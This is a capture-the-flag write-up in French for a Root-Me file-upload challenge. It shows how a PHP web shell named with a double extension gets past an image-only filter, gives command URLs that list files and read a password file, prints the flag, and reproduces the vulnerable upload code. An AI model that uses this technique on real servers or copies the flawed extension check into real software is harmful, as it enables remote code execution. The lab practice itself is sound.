File upload Double extensions
Analyse du site
- Galerie d'upload
- Fichier uniquement en GIF, JPEG or PNG
- "Wrong file" losque ce n'est pas un fichier autorisé
Analyse
Création d'un fichier PHP cmd.php:
Tentative d'upload :

Si on observe les requêtes HTTP, on peut retrouver essayer de modifier les MIME mais sans succés.
Compromission
Modification du nom du fichier en faisant une double extension avec une extension autorisée : cmd.php.jpeg.

Une fois l'image ouverte, entré le paramètre php ?cmd=, puis les commandes voulu :
http://challenge01.root-me.org/web-serveur/ch20/galerie/upload/1c7691077dbaf54cc865fa00d782b171/cmd.php.png?cmd=ls

Il ne reste plus qu'a naviguer jusqu'au fichier recherché :
http://challenge01.root-me.org/web-serveur/ch20/galerie/upload/1c7691077dbaf54cc865fa00d782b171/cmd.php.png?cmd=cat ../.passwd

Nous trouvons le flag qui est le suivant : Gg9LRz-hWSxqqUKd77-_q-6G8.
Code source
<?php
// File upload : double extensions
session_start();
$GALERIE_DIR = 'galerie';
$WWW_DIR     = './galerie/upload/' . session_id() . '/';
$UPLOAD_DIR  = getcwd() . '/' . $WWW_DIR;
$aff= '<html><body><h1>Photo gallery v 0.02</h1><span id="menu"/>';
if (isset($_GET["galerie"]) &&
        preg_match("/^[a-z]+$/", $_GET["galerie"]) &&
        file_exists($GALERIE_DIR."/".$_GET["galerie"]))
    $galerie = $_GET["galerie"];
else
    $galerie = "apps";
if (file_exists($GALERIE_DIR)) {
    $d = opendir($GALERIE_DIR);
    while ($file = readdir($d)) {
        if ($file[0] == ".") { }
        else {
            $aff .= " | <span><a href='?galerie=$file'>";
            if ($file == $galerie)
                $aff .= "<b>$file</b>";
            else
                $aff .= "$file";
            $aff .= "</a></span>";
        }
    }
    $aff .= "<br><hr>";
    closedir($d);
}
if (isset($_GET["action"]))
    $action = $_GET["action"];
else
    $action = "view";
if ($action == "view") {
    if (isset($galerie)) {
        if ($galerie == "upload") {
            $path = $WWW_DIR;
        } else {
            $path = $GALERIE_DIR . '/' . $galerie;
        }
        if (file_exists($path)) {
            $aff .= '<table id="content"><tr>';
            $d = opendir($path);
            $i = 0;
            while ($file = readdir($d)) {
                if ($file[0] == ".") { }
                else {
                    $aff .= "<td><a href='$path/$file'><img width=64px height=64px src='$path/$file?preview' alt='$file'></a></td>";
                    $i = $i+1;
                }
                if ($i%4 == 0)
                    $aff .= "</tr><tr>";
            }
            $aff .= '</tr></table>';
        }
        if ($galerie == "upload") {
            $aff .= '<br><p><a href="?action=upload">Upload</a> your photo !</p>';
        }
    }
} else if ($action == "upload") {
    if (isset($_FILES["file"])) {
        $allowedExts = array("jpg", "jpeg", "gif", "png");
        $a = explode(".", $_FILES["file"]["name"]); // Strict Standards: Only variables should be passed by reference
        $extension = end($a);
        if (($_FILES["file"]["size"] < 100000)) {
            if (in_array($extension, $allowedExts)) {
                if (! file_exists($UPLOAD_DIR)) {
                    mkdir($UPLOAD_DIR, 0750);
                }
                $aff .= "File information :<br><ul>";
                if ($_FILES["file"]["error"] > 0) {
                    $aff .= "<ul>";
                    $aff .= "<li>Error: " . $_FILES["file"]["error"] . "</li>";
                } else {
                    $aff .= "<li>Upload: " . $_FILES["file"]["name"] . "</li>";
                    $aff .= "<li>Type: " . $_FILES["file"]["type"] . "</li>";
                    $aff .= "<li>Size: " . ($_FILES["file"]["size"] / 1024) . " kB</li>";
                    $aff .= "<li>Stored in: <a href='". $WWW_DIR . $_FILES["file"]["name"] ."'>" . $WWW_DIR . $_FILES["file"]["name"] ."</a></li>";
                }
                $aff .= "</ul>";
                if (move_uploaded_file($_FILES["file"]["tmp_name"], $UPLOAD_DIR."/".$_FILES["file"]["name"])) {
                    $aff .= "<p style='color: green'>File uploaded</p>";
                } else {
                    $aff .= "<p style='color: red'>Error during upload</p>";
                }
            } else {
                $aff .= "<p style='color: red'>Wrong file extension !</p>";
            }
        } else {
                $aff .= "<p style='color: red'>File size too big !</p>";
        }
    } else {
        $aff .= "<p><b>Upload your photo</b></p>";
        $aff .= "<form method=post enctype='multipart/form-data'>";
        $aff .= "<input type=file name=file />";
        $aff .= "<input type=submit value=upload />";
        $aff .= "</form>";
        $aff .= "<br><br><i>NB : only .gif, .jpeg and .png are accepted</i>";
    }
}
$aff .= "</body></html>";
echo $aff;